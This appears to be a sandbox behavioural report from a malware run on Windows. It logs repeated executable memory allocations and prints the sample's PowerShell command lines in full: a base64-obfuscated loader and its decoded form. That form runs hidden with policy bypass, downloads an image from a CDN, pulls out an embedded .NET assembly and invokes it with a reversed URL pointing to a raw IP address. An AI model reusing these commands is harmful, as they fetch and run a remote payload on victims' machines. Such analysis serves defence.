allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02765000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0271c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b40000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0276c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02713000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02714000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02715000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02716000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02717000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02718000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02719000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05030000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05031000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05032000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05033000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05034000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05035000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05036000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05037000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05038000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05039000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05040000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05041000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05042000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05043000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05044000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBm⁂Gw⁂YQB0⁂C0⁂dwBh⁂HY⁂ZQ⁂t⁂GY⁂Mw⁂3⁂D⁂⁂Ng⁂w⁂C8⁂bwBy⁂Gk⁂ZwBp⁂G4⁂YQBs⁂C8⁂YgBh⁂HQ⁂XwBu⁂GE⁂d⁂Bp⁂HY⁂ZQ⁂u⁂Go⁂c⁂Bl⁂Gc⁂Jw⁂7⁂CQ⁂dwBl⁂GI⁂QwBs⁂Gk⁂ZQBu⁂HQ⁂I⁂⁂9⁂C⁂⁂TgBl⁂Hc⁂LQBP⁂GI⁂agBl⁂GM⁂d⁂⁂g⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂7⁂CQ⁂aQBt⁂GE⁂ZwBl⁂EI⁂eQB0⁂GU⁂cw⁂g⁂D0⁂I⁂⁂k⁂Hc⁂ZQBi⁂EM⁂b⁂Bp⁂GU⁂bgB0⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂EQ⁂YQB0⁂GE⁂K⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBV⁂HI⁂b⁂⁂p⁂Ds⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂EU⁂bgBj⁂G8⁂Z⁂Bp⁂G4⁂ZwBd⁂Do⁂OgBV⁂FQ⁂Rg⁂4⁂C4⁂RwBl⁂HQ⁂UwB0⁂HI⁂aQBu⁂Gc⁂K⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBC⁂Hk⁂d⁂Bl⁂HM⁂KQ⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂I⁂⁂9⁂C⁂⁂Jw⁂8⁂Dw⁂QgBB⁂FM⁂RQ⁂2⁂DQ⁂XwBT⁂FQ⁂QQBS⁂FQ⁂Pg⁂+⁂Cc⁂Ow⁂k⁂GU⁂bgBk⁂EY⁂b⁂Bh⁂Gc⁂I⁂⁂9⁂C⁂⁂Jw⁂8⁂Dw⁂QgBB⁂FM⁂RQ⁂2⁂DQ⁂XwBF⁂E4⁂R⁂⁂+⁂D4⁂Jw⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂D0⁂I⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBU⁂GU⁂e⁂B0⁂C4⁂SQBu⁂GQ⁂ZQB4⁂E8⁂Zg⁂o⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂KQ⁂7⁂CQ⁂ZQBu⁂GQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBJ⁂G4⁂Z⁂Bl⁂Hg⁂TwBm⁂Cg⁂J⁂Bl⁂G4⁂Z⁂BG⁂Gw⁂YQBn⁂Ck⁂Ow⁂k⁂HM⁂d⁂Bh⁂HI⁂d⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂Gc⁂ZQ⁂g⁂D⁂⁂I⁂⁂t⁂GE⁂bgBk⁂C⁂⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂Gc⁂d⁂⁂g⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂Cs⁂PQ⁂g⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂LgBM⁂GU⁂bgBn⁂HQ⁂a⁂⁂7⁂CQ⁂YgBh⁂HM⁂ZQ⁂2⁂DQ⁂T⁂Bl⁂G4⁂ZwB0⁂Gg⁂I⁂⁂9⁂C⁂⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Ds⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BD⁂G8⁂bQBt⁂GE⁂bgBk⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBT⁂HU⁂YgBz⁂HQ⁂cgBp⁂G4⁂Zw⁂o⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂s⁂C⁂⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BM⁂GU⁂bgBn⁂HQ⁂a⁂⁂p⁂Ds⁂J⁂Bj⁂G8⁂bQBt⁂GE⁂bgBk⁂EI⁂eQB0⁂GU⁂cw⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BD⁂G8⁂bQBt⁂GE⁂bgBk⁂Ck⁂Ow⁂k⁂Gw⁂bwBh⁂GQ⁂ZQBk⁂EE⁂cwBz⁂GU⁂bQBi⁂Gw⁂eQ⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂UgBl⁂GY⁂b⁂Bl⁂GM⁂d⁂Bp⁂G8⁂bg⁂u⁂EE⁂cwBz⁂GU⁂bQBi⁂Gw⁂eQBd⁂Do⁂OgBM⁂G8⁂YQBk⁂Cg⁂J⁂Bj⁂G8⁂bQBt⁂GE⁂bgBk⁂EI⁂eQB0⁂GU⁂cw⁂p⁂Ds⁂J⁂B0⁂Hk⁂c⁂Bl⁂C⁂⁂PQ⁂g⁂CQ⁂b⁂Bv⁂GE⁂Z⁂Bl⁂GQ⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂Ow⁂k⁂G0⁂ZQB0⁂Gg⁂bwBk⁂C⁂⁂PQ⁂g⁂CQ⁂d⁂B5⁂H⁂⁂ZQ⁂u⁂Ec⁂ZQB0⁂E0⁂ZQB0⁂Gg⁂bwBk⁂Cg⁂JwBW⁂EE⁂SQ⁂n⁂Ck⁂Ow⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂C⁂⁂PQ⁂g⁂Cw⁂K⁂⁂n⁂HQ⁂e⁂B0⁂C4⁂V⁂BP⁂E8⁂Ug⁂v⁂HM⁂b⁂Bj⁂Gg⁂Lw⁂2⁂DQ⁂MQ⁂u⁂DM⁂N⁂⁂y⁂C4⁂Mw⁂u⁂DI⁂OQ⁂x⁂C8⁂Lw⁂6⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ds⁂J⁂Bt⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂u⁂Ek⁂bgB2⁂G8⁂awBl⁂Cg⁂J⁂Bu⁂HU⁂b⁂Bs⁂Cw⁂I⁂⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://cdn.pixelbin.io/v2/flat-wave-f37060/original/bat_native.jpeg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.TOOR/slch/641.342.3.291//:ptth');$method.Invoke($null, $arguments)"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBm⁂Gw⁂YQB0⁂C0⁂dwBh⁂HY⁂ZQ⁂t⁂GY⁂Mw⁂3⁂D⁂⁂Ng⁂w⁂C8⁂bwBy⁂Gk⁂ZwBp⁂G4⁂YQBs⁂C8⁂YgBh⁂HQ⁂XwBu⁂GE⁂d⁂Bp⁂HY⁂ZQ⁂u⁂Go⁂c⁂Bl⁂Gc⁂Jw⁂7⁂CQ⁂dwBl⁂GI⁂QwBs⁂Gk⁂ZQBu⁂HQ⁂I⁂⁂9⁂C⁂⁂TgBl⁂Hc⁂LQBP⁂GI⁂agBl⁂GM⁂d⁂⁂g⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂7⁂CQ⁂aQBt⁂GE⁂ZwBl⁂EI⁂eQB0⁂GU⁂cw⁂g⁂D0⁂I⁂⁂k⁂Hc⁂ZQBi⁂EM⁂b⁂Bp⁂GU⁂bgB0⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂EQ⁂YQB0⁂GE⁂K⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBV⁂HI⁂b⁂⁂p⁂Ds⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂EU⁂bgBj⁂G8⁂Z⁂Bp⁂G4⁂ZwBd⁂Do⁂OgBV⁂FQ⁂Rg⁂4⁂C4⁂RwBl⁂HQ⁂UwB0⁂HI⁂aQBu⁂Gc⁂K⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBC⁂Hk⁂d⁂Bl⁂HM⁂KQ⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂I⁂⁂9⁂C⁂⁂Jw⁂8⁂Dw⁂QgBB⁂FM⁂RQ⁂2⁂DQ⁂XwBT⁂FQ⁂QQBS⁂FQ⁂Pg⁂+⁂Cc⁂Ow⁂k⁂GU⁂bgBk⁂EY⁂b⁂Bh⁂Gc⁂I⁂⁂9⁂C⁂⁂Jw⁂8⁂Dw⁂QgBB⁂FM⁂RQ⁂2⁂DQ⁂XwBF⁂E4⁂R⁂⁂+⁂D4⁂Jw⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂D0⁂I⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBU⁂GU⁂e⁂B0⁂C4⁂SQBu⁂GQ⁂ZQB4⁂E8⁂Zg⁂o⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂KQ⁂7⁂CQ⁂ZQBu⁂GQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBJ⁂G4⁂Z⁂Bl⁂Hg⁂TwBm⁂Cg⁂J⁂Bl⁂G4⁂Z⁂BG⁂Gw⁂YQBn⁂Ck⁂Ow⁂k⁂HM⁂d⁂Bh⁂HI⁂d⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂Gc⁂ZQ⁂g⁂D⁂⁂I⁂⁂t⁂GE⁂bgBk⁂C⁂⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂Gc⁂d⁂⁂g⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂Cs⁂PQ⁂g⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂LgBM⁂GU⁂bgBn⁂HQ⁂a⁂⁂7⁂CQ⁂YgBh⁂HM⁂ZQ⁂2⁂DQ⁂T⁂Bl⁂G4⁂ZwB0⁂Gg⁂I⁂⁂9⁂C⁂⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Ds⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BD⁂G8⁂bQBt⁂GE⁂bgBk⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBT⁂HU⁂YgBz⁂HQ⁂cgBp⁂G4⁂Zw⁂o⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂s⁂C⁂⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BM⁂GU⁂bgBn⁂HQ⁂a⁂⁂p⁂Ds⁂J⁂Bj⁂G8⁂bQBt⁂GE⁂bgBk⁂EI⁂eQB0⁂GU⁂cw⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BD⁂G8⁂bQBt⁂GE⁂bgBk⁂Ck⁂Ow⁂k⁂Gw⁂bwBh⁂GQ⁂ZQBk⁂EE⁂cwBz⁂GU⁂bQBi⁂Gw⁂eQ⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂UgBl⁂GY⁂b⁂Bl⁂GM⁂d⁂Bp⁂G8⁂bg⁂u⁂EE⁂cwBz⁂GU⁂bQBi⁂Gw⁂eQBd⁂Do⁂OgBM⁂G8⁂YQBk⁂Cg⁂J⁂Bj⁂G8⁂bQBt⁂GE⁂bgBk⁂EI⁂eQB0⁂GU⁂cw⁂p⁂Ds⁂J⁂B0⁂Hk⁂c⁂Bl⁂C⁂⁂PQ⁂g⁂CQ⁂b⁂Bv⁂GE⁂Z⁂Bl⁂GQ⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂Ow⁂k⁂G0⁂ZQB0⁂Gg⁂bwBk⁂C⁂⁂PQ⁂g⁂CQ⁂d⁂B5⁂H⁂⁂ZQ⁂u⁂Ec⁂ZQB0⁂E0⁂ZQB0⁂Gg⁂bwBk⁂Cg⁂JwBW⁂EE⁂SQ⁂n⁂Ck⁂Ow⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂C⁂⁂PQ⁂g⁂Cw⁂K⁂⁂n⁂HQ⁂e⁂B0⁂C4⁂V⁂BP⁂E8⁂Ug⁂v⁂HM⁂b⁂Bj⁂Gg⁂Lw⁂2⁂DQ⁂MQ⁂u⁂DM⁂N⁂⁂y⁂C4⁂Mw⁂u⁂DI⁂OQ⁂x⁂C8⁂Lw⁂6⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ds⁂J⁂Bt⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂u⁂Ek⁂bgB2⁂G8⁂awBl⁂Cg⁂J⁂Bu⁂HU⁂b⁂Bs⁂Cw⁂I⁂⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
Time & API Arguments Status Return Repeated

CreateProcessInternalW

thread_identifier: 2660
thread_handle: 0x000002e4
process_identifier: 2656
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
